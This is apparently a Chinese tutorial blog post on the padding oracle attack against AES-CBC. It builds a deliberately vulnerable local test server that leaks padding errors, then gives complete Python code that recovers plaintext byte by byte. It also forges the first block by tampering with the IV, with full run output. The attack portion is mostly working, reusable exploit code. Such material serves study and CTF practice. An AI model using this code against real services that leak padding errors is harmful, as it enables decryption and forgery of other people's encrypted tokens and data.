AES CBC模式下的Padding Oracle解密
AES CBC模式下的Padding Oracle解密
1 简介
Padding Oracle攻击方法出现的也比较早了,参考padding oracle attack,这篇文章写的比较好。 也可以参考ctf-wiki。 Padding Oracle Attack主要是针对CBC分组加密的情况,通过padding来测试每个分组的每个字节是否正确来获取分组的中间状态值,上一个分组XOR中间状态值就是明文。第一个分组使用初始IV来XOR获得明文。
图1 CBC模式一个分组的解密过程
2 aes cbc加解密测试程序
用FLASK实现一个aes cbc加解密的测试程序,代码如下,保存为aes_server.py:
#!/usr/bin/python # coding=utf-8 # python 3 # 安装依赖 pip3 install PyCrypto flask # 运行 FLASK_APP=aes_server.py flask run from http.server import BaseHTTPRequestHandler, HTTPServer from urllib.parse import urlparse, parse_qs, unquote import traceback import base64 import hashlib from Crypto import Random from Crypto.Cipher import AES # padding 对齐的字节数 BS = 16 def pad(s): return s + (BS - len(s) % BS) * chr(BS - len(s) % BS) def unpad(s): '''检查解密串的padding是否正确,并去掉Padding''' pad = s[-1] # padding值不对就抛出异常,网上的python实现基本都忽略了padding值检查 if pad > BS or pad < 1: # padding值大于0小于等于最大分组字节数 raise Exception("padding error.") slen = len(s) for p in s[slen-pad:slen]: # 所有padding值相等 if p != pad: raise Exception("padding value error.") print("unpad:", pad) return s[0:-pad] class AESCipher: """ AES cbc 加解密 """ def __init__(self, key): self.key = key.encode('utf-8') def encrypt(self, raw): raw = pad(raw).encode('utf-8') iv = Random.new().read(AES.block_size) c = AES.new(self.key, AES.MODE_CBC, iv) return str(base64.b64encode(iv + c.encrypt(raw)), 'utf-8') def decrypt(self, enc): enc = base64.b64decode(enc) iv = enc[:16] c = AES.new(self.key, AES.MODE_CBC, iv) deced = unpad(c.decrypt(enc[16:])) return deced cipher = AESCipher('1234567890123456') # cipher.encrypt('testaa') form = '''<!DOCTYPE html> <title>aes encoder/decoder</title> <form method="POST" action="/encode"> <textarea name="body"></textarea> <br> <button type="submit">加密</button> </form>''' PORT_NUMBER = 8081 def b64_url_dec(s): return s.replace('~', '=').replace('!', '/').replace('-', '+') def b64_url_enc(s): return s.replace('+', '-').replace('/', '!').replace('=', '~') class myHandler(BaseHTTPRequestHandler): # Handler for the GET requests def write_out(self, data): self.send_response(200) self.send_header('Content-type', 'text/html; charset=utf-8') self.end_headers() self.wfile.write(data) def do_GET(self): if "/decode" in self.path: try: # 解密操作 query = urlparse(self.path).query print('decode query:', query) query_components = dict(qc.split("=") for qc in query.split("&")) data = b64_url_dec(unquote(query_components["data"])) deced = cipher.decrypt(data) self.write_out(deced) except: self.write_out(traceback.format_exc().encode()) elif "/check" in self.path: try: # 检查是否能正确解密 query = urlparse(self.path).query print('check query:', query) query_components = dict(qc.split("=") for qc in query.split("&")) data = b64_url_dec(unquote(query_components["data"])) deced = cipher.decrypt(data) self.write_out(u'成功通过!'.encode('utf-8')) except: self.write_out(traceback.format_exc().encode()) else: self.write_out(form.encode()) def do_POST(self): print("post:", self.path) if self.path == "/encode": # 加密操作 try: content_len = int(self.headers.get('Content-Length')) post_body = self.rfile.read(content_len) postvars = parse_qs(post_body, keep_blank_values=1) print('post encode vars:', postvars) body = str(postvars[b'body'][0], 'utf-8') enced = cipher.encrypt(body) out = b64_url_enc(enced) self.write_out(out.encode()) except: self.write_out(traceback.format_exc().encode()) try: # Create a web server and define the handler to manage the # incoming request server = HTTPServer(('', PORT_NUMBER), myHandler) print('Started httpserver on port ', PORT_NUMBER) # Wait forever for incoming htto requests server.serve_forever() except KeyboardInterrupt: print('^C received, shutting down the web server') server.socket.close()
encode用于加密一个字符串,decode解密加密后的字符串,check用于测试加密串是否正确,这里使用check进行Padding Oracle Attack测试,比较接近真实情况。
启动flask server,通过8081端口访问:
FLASK_APP=aes_server.py flask run
使用python测试请求,代码如下:
# coding=utf-8 # python 3 # 安装依赖 pip3 install requests import requests as req proxy = 'http://127.0.0.1:8080' MY_PROXY = { # 本地代理,用于测试,如果不需要代理可以注释掉 #'http': proxy, #'https': proxy, } # server端地址,测试的时候使用windows本机启动FLASK,python代码访问会卡住。 host = 'http://192.168.47.129:8081' def test_enc(txt): '''测试加密''' resp = req.post(host + '/encode', data={'body': txt}, proxies=MY_PROXY) return resp.text def test_dec(txt): '''测试解密''' resp = req.get(host + '/decode', params={'data': txt}, proxies=MY_PROXY) return resp.text def test_check(txt): '''测试检查''' resp = req.get(host + '/check', params={'data': txt}, proxies=MY_PROXY) return resp.text
测试加密功能:
print(test_enc('this is a test'))
加密结果如下:
DAEeUIUbJiXSuxmR8PDlIlOSj5EUKxgueLKy!Wiysd0~
测试解密功能:
print(test_dec('CLBtfIAQc4PLeB9-6m9XGmtBH34O98vrcw54KPTtx3M~'))
this is a test
解密后的明文padding错误的情况:
print(test_check('CLBtfIAQc4PAeBA-6m9XGmtAH34O98vrcw54KPTtx3M~'))
Traceback (most recent call last): File "/mnt/hgfs/mhome/docs/ctf/helper/aes_server.py", line 112, in do_GET deced = cipher.decrypt(data) File "/mnt/hgfs/mhome/docs/ctf/helper/aes_server.py", line 57, in decrypt deced = unpad(c.decrypt(enc[16:])) File "/mnt/hgfs/mhome/docs/ctf/helper/aes_server.py", line 30, in unpad raise Exception("padding error.") Exception: padding error.
当发送的密文不能解密的时候,会返回padding错误的异常(不一定为异常,只要跟解密成功的结果不同就可以),这样就会造成Padding Oracle攻击。
3 Padding Oracle Attack过程
当服务器处理CBC解密时,对于失败和成功返回不同的结果,就能进行Padding Oracle Attack。类似于布尔型SQL注入,针对每个分组的每个字节,输入正确的padding值(相当于明文),修改这个分组的iv,测试并找到返回成功的结果,与padding值XOR就能获得中间状态值(即图中的I2)。
padding oracle实现代码:
# coding=utf-8 # python 3 # padding oracle 实现代码 from Crypto import Random # 分组最大字节数 BS = 16 def pad(s): return s + (BS - len(s) % BS) * chr(BS - len(s) % BS) def unpad(s): return s[0:-s[-1]] def find_valid_byte(req_fn, find_valid_fn, data, pos, min_req): '''找到解密数据指定位置的正确IV字节值 req_fn 请求解密的函数 find_valid_fn 找到正确值的函数,参数为测试值和req_fn返回结果组成的map,如{1 : 'resp data'}, 返回结果为正确的值,没有则需要返回None data 要解密的数据 pos 要查找正确值的位置 min_req 最小测试次数,请求达到min_req次,就会比较是否找到正确的padding值''' data = bytearray(data) results = {} for i in range(0x100): # 检测从0到255的值是否符合padding要求 data[pos] = i results[i] = req_fn(bytes(data)) if i >= min_req: r_data = find_valid_fn(results) if r_data: return r_data return find_valid_fn(results) def format_padding_iv(iv, pos, value): '''格式化padding对应的iv pos 指定开始位置 value 要测试的padding值 ''' r = bytearray(iv) for idx, val in enumerate(r): if idx > pos: r[idx] = val ^ value else: r[idx] = val return bytes(r) def padding_oracle_group(req_fn, find_valid_fn, data, orig_iv, i_state=b'', min_req=256): ''' 获取一组数据的解密结果和intermiedate state req_fn 请求解密的函数 find_valid_fn 找到正确值的函数,参数为测试值和req_fn返回结果组成的map,如{1 : 'resp data'}, 返回结果为正确的值,没有则需要返回None data 要解密的数据, bytes orig_iv 要解密数据的iv, bytes i_state 如果指定i_state,则会从没找到的位置继续 ''' count = BS - len(i_state) iv = bytearray(Random.new().read(count) + i_state) r_istate = bytearray(i_state) for pos in reversed(range(count)): print("pos:%d iv:%s istate:%s" % (pos, iv, r_istate)) pad_v = BS - pos curr_data = format_padding_iv(iv, pos, pad_v) + data print('pad_v:', pad_v, ' test data:', curr_data) val = find_valid_byte(req_fn, find_valid_fn, curr_data, pos, min_req) if val: r = val ^ pad_v print("find istate %02x at pos:%d" % (r, pos)) iv[pos] = r r_istate.insert(0, r) else: print("can't find istate at pos:", pos) return None, r_istate deced_res = bytes(a ^ b for (a, b) in zip(orig_iv, r_istate)) return deced_res, r_istate def partition_group(data): '''data按分组长度进行分组''' return [data[i:i+BS] for i in range(0, len(data), BS)] def padding_oracle(req_fn, find_valid_fn, data, min_req=256): '''获取一组数据的解密结果和intermiedate state req_fn 请求解密的函数 find_valid_fn 找到正确值的函数,参数为测试值和req_fn返回结果组成的map,如{1 : 'resp data'}, 返回结果为正确的值,没有则需要返回None data 加密数据,注意前面要带上iv min_req 最小测试次数,请求达到min_req次,就会测试是否包含有效的padding, 用于加速,如果找到有效padding值,后面就不再调用req_fn了。 默认全部请求结束再查找正确的padding值。 ''' parts = partition_group(data) ivs = parts[:-1] datas = parts[1:] result = b'' istates = [] for group_iv, group_data in zip(ivs, datas): group_result, group_istate = padding_oracle_group( req_fn, find_valid_fn, group_data, group_iv, min_req=min_req) result += group_result istates.append(group_istate) return result, istates
测试代码:
import re import base64 ############### 编码辅助函数 def b64_url_dec(s): return s.replace('~', '=').replace('!', '/').replace('-', '+') def b64_url_enc(s): return s.replace('+', '-').replace('/', '!').replace('=', '~') def bytes_to_str(data): return "".join(chr(x) for x in bytearray(data)) ############## 解密辅助函数 def my_dec_req(data): '''测试解密,注意这里的data是原始字节''' txt = b64_url_enc(bytes_to_str(base64.b64encode(data))) return test_check(txt) def my_check_ok(resps): '''检测并返回解密成功的值''' for value, resp in resps.items(): if re.match(r'成功', resp): return value return None
解密测试:
# 获取一个加密数据 test1 = test_enc('go gogogogo') test_data = base64.b64decode(b64_url_dec(test1)) # 这里使用min_req选项,能显著加快运行速度 results = padding_oracle(my_dec_req, my_check_ok, test_data, min_req=10) print(results)
程序运行结果:
pos:15 iv:bytearray(b'\xd5\xd1\xfc\xc0=W\xdf\xa1W\x15\xc5?\xc3T\x88\xc5') istate:bytearray(b'') pad_v: 1 test data: b'\xd5\xd1\xfc\xc0=W\xdf\xa1W\x15\xc5?\xc3T\x88\xc58\xdcM\x98S\xe6D\xfe[|\x93\x14$\x96\x1f\xcb' find istate 2b at pos:15 pos:14 iv:bytearray(b'\xd5\xd1\xfc\xc0=W\xdf\xa1W\x15\xc5?\xc3T\x88+') istate:bytearray(b'+') pad_v: 2 test data: b'\xd5\xd1\xfc\xc0=W\xdf\xa1W\x15\xc5?\xc3T\x88)8\xdcM\x98S\xe6D\xfe[|\x93\x14$\x96\x1f\xcb' find istate cd at pos:14 pos:13 iv:bytearray(b'\xd5\xd1\xfc\xc0=W\xdf\xa1W\x15\xc5?\xc3T\xcd+') istate:bytearray(b'\xcd+') pad_v: 3 test data: b'\xd5\xd1\xfc\xc0=W\xdf\xa1W\x15\xc5?\xc3T\xce(8\xdcM\x98S\xe6D\xfe[|\x93\x14$\x96\x1f\xcb' find istate 99 at pos:13 pos:12 iv:bytearray(b'\xd5\xd1\xfc\xc0=W\xdf\xa1W\x15\xc5?\xc3\x99\xcd+') istate:bytearray(b'\x99\xcd+') pad_v: 4 test data: b'\xd5\xd1\xfc\xc0=W\xdf\xa1W\x15\xc5?\xc3\x9d\xc9/8\xdcM\x98S\xe6D\xfe[|\x93\x14$\x96\x1f\xcb' find istate 42 at pos:12 pos:11 iv:bytearray(b'\xd5\xd1\xfc\xc0=W\xdf\xa1W\x15\xc5?B\x99\xcd+') istate:bytearray(b'B\x99\xcd+') pad_v: 5 test data: b'\xd5\xd1\xfc\xc0=W\xdf\xa1W\x15\xc5?G\x9c\xc8.8\xdcM\x98S\xe6D\xfe[|\x93\x14$\x96\x1f\xcb' find istate f3 at pos:11 pos:10 iv:bytearray(b'\xd5\xd1\xfc\xc0=W\xdf\xa1W\x15\xc5\xf3B\x99\xcd+') istate:bytearray(b'\xf3B\x99\xcd+') pad_v: 6 test data: b'\xd5\xd1\xfc\xc0=W\xdf\xa1W\x15\xc5\xf5D\x9f\xcb-8\xdcM\x98S\xe6D\xfe[|\x93\x14$\x96\x1f\xcb' find istate 6e at pos:10 pos:9 iv:bytearray(b'\xd5\xd1\xfc\xc0=W\xdf\xa1W\x15n\xf3B\x99\xcd+') istate:bytearray(b'n\xf3B\x99\xcd+') pad_v: 7 test data: b'\xd5\xd1\xfc\xc0=W\xdf\xa1W\x15i\xf4E\x9e\xca,8\xdcM\x98S\xe6D\xfe[|\x93\x14$\x96\x1f\xcb' find istate e5 at pos:9 pos:8 iv:bytearray(b'\xd5\xd1\xfc\xc0=W\xdf\xa1W\xe5n\xf3B\x99\xcd+') istate:bytearray(b'\xe5n\xf3B\x99\xcd+') pad_v: 8 test data: b'\xd5\xd1\xfc\xc0=W\xdf\xa1W\xedf\xfbJ\x91\xc5#8\xdcM\x98S\xe6D\xfe[|\x93\x14$\x96\x1f\xcb' find istate 7d at pos:8 pos:7 iv:bytearray(b'\xd5\xd1\xfc\xc0=W\xdf\xa1}\xe5n\xf3B\x99\xcd+') istate:bytearray(b'}\xe5n\xf3B\x99\xcd+') pad_v: 9 test data: b'\xd5\xd1\xfc\xc0=W\xdf\xa1t\xecg\xfaK\x90\xc4"8\xdcM\x98S\xe6D\xfe[|\x93\x14$\x96\x1f\xcb' find istate 6a at pos:7 pos:6 iv:bytearray(b'\xd5\xd1\xfc\xc0=W\xdfj}\xe5n\xf3B\x99\xcd+') istate:bytearray(b'j}\xe5n\xf3B\x99\xcd+') pad_v: 10 test data: b'\xd5\xd1\xfc\xc0=W\xdf`w\xefd\xf9H\x93\xc7!8\xdcM\x98S\xe6D\xfe[|\x93\x14$\x96\x1f\xcb' find istate 50 at pos:6 pos:5 iv:bytearray(b'\xd5\xd1\xfc\xc0=WPj}\xe5n\xf3B\x99\xcd+') istate:bytearray(b'Pj}\xe5n\xf3B\x99\xcd+') pad_v: 11 test data: b'\xd5\xd1\xfc\xc0=W[av\xeee\xf8I\x92\xc6 8\xdcM\x98S\xe6D\xfe[|\x93\x14$\x96\x1f\xcb' find istate 06 at pos:5 pos:4 iv:bytearray(b'\xd5\xd1\xfc\xc0=\x06Pj}\xe5n\xf3B\x99\xcd+') istate:bytearray(b'\x06Pj}\xe5n\xf3B\x99\xcd+') pad_v: 12 test data: b"\xd5\xd1\xfc\xc0=\n\\fq\xe9b\xffN\x95\xc1'8\xdcM\x98S\xe6D\xfe[|\x93\x14$\x96\x1f\xcb" find istate 04 at pos:4 pos:3 iv:bytearray(b'\xd5\xd1\xfc\xc0\x04\x06Pj}\xe5n\xf3B\x99\xcd+') istate:bytearray(b'\x04\x06Pj}\xe5n\xf3B\x99\xcd+') pad_v: 13 test data: b'\xd5\xd1\xfc\xc0\t\x0b]gp\xe8c\xfeO\x94\xc0&8\xdcM\x98S\xe6D\xfe[|\x93\x14$\x96\x1f\xcb' find istate aa at pos:3 pos:2 iv:bytearray(b'\xd5\xd1\xfc\xaa\x04\x06Pj}\xe5n\xf3B\x99\xcd+') istate:bytearray(b'\xaa\x04\x06Pj}\xe5n\xf3B\x99\xcd+') pad_v: 14 test data: b'\xd5\xd1\xfc\xa4\n\x08^ds\xeb`\xfdL\x97\xc3%8\xdcM\x98S\xe6D\xfe[|\x93\x14$\x96\x1f\xcb' find istate 94 at pos:2 pos:1 iv:bytearray(b'\xd5\xd1\x94\xaa\x04\x06Pj}\xe5n\xf3B\x99\xcd+') istate:bytearray(b'\x94\xaa\x04\x06Pj}\xe5n\xf3B\x99\xcd+') pad_v: 15 test data: b'\xd5\xd1\x9b\xa5\x0b\t_er\xeaa\xfcM\x96\xc2$8\xdcM\x98S\xe6D\xfe[|\x93\x14$\x96\x1f\xcb' find istate fc at pos:1 pos:0 iv:bytearray(b'\xd5\xfc\x94\xaa\x04\x06Pj}\xe5n\xf3B\x99\xcd+') istate:bytearray(b'\xfc\x94\xaa\x04\x06Pj}\xe5n\xf3B\x99\xcd+') pad_v: 16 test data: b'\xd5\xec\x84\xba\x14\x16@zm\xf5~\xe3R\x89\xdd;8\xdcM\x98S\xe6D\xfe[|\x93\x14$\x96\x1f\xcb' find istate df at pos:0 (b'go gogogogo\x05\x05\x05\x05\x05', [bytearray(b'\xdf\xfc\x94\xaa\x04\x06Pj}\xe5n\xf3B\x99\xcd+')])
可以看到通过/check请求,成功解密出明文, 即results[0]。 results[1]是每个数据分组的中间状态,对应图中的INTERMIEDATE STATE
再进一步,可以通过修改iv实现对第一个加密的分组数据进行修改,例如:
# 可以实现伪造第一个数据分组的内容,因为iv是可以改变的, # 改变原始iv,就相当于改变了第一个数据分组的解密结果。 def build_fake_first(data, fake_data, data_is): ''' data为密文数据 fake_data 伪造的第一个分组数据 data_is 解密出的中间状态值''' if len(fake_data) > BS: raise Exception('fake data too large!') new_data = bytearray(data) fake_group_data = pad(fake_data) for i in range(BS): new_data[i] = ord(fake_group_data[i]) ^ data_is[i] return new_data my_fake = build_fake_first(test_data, 'fake data', results[1][0]) print(test_dec(b64_url_enc(bytes_to_str(base64.b64encode(my_fake)))))
因为这个加密数据只有1个分组,所以整个数据被替换掉了,结果如下:
fake data
4 总结
只要明白了分组解密的xor过程和pkcs5/pkcs7的padding填充方式,Padding Oracle利用还是比较简单的。
Created: 2019-06-21 周五 17:26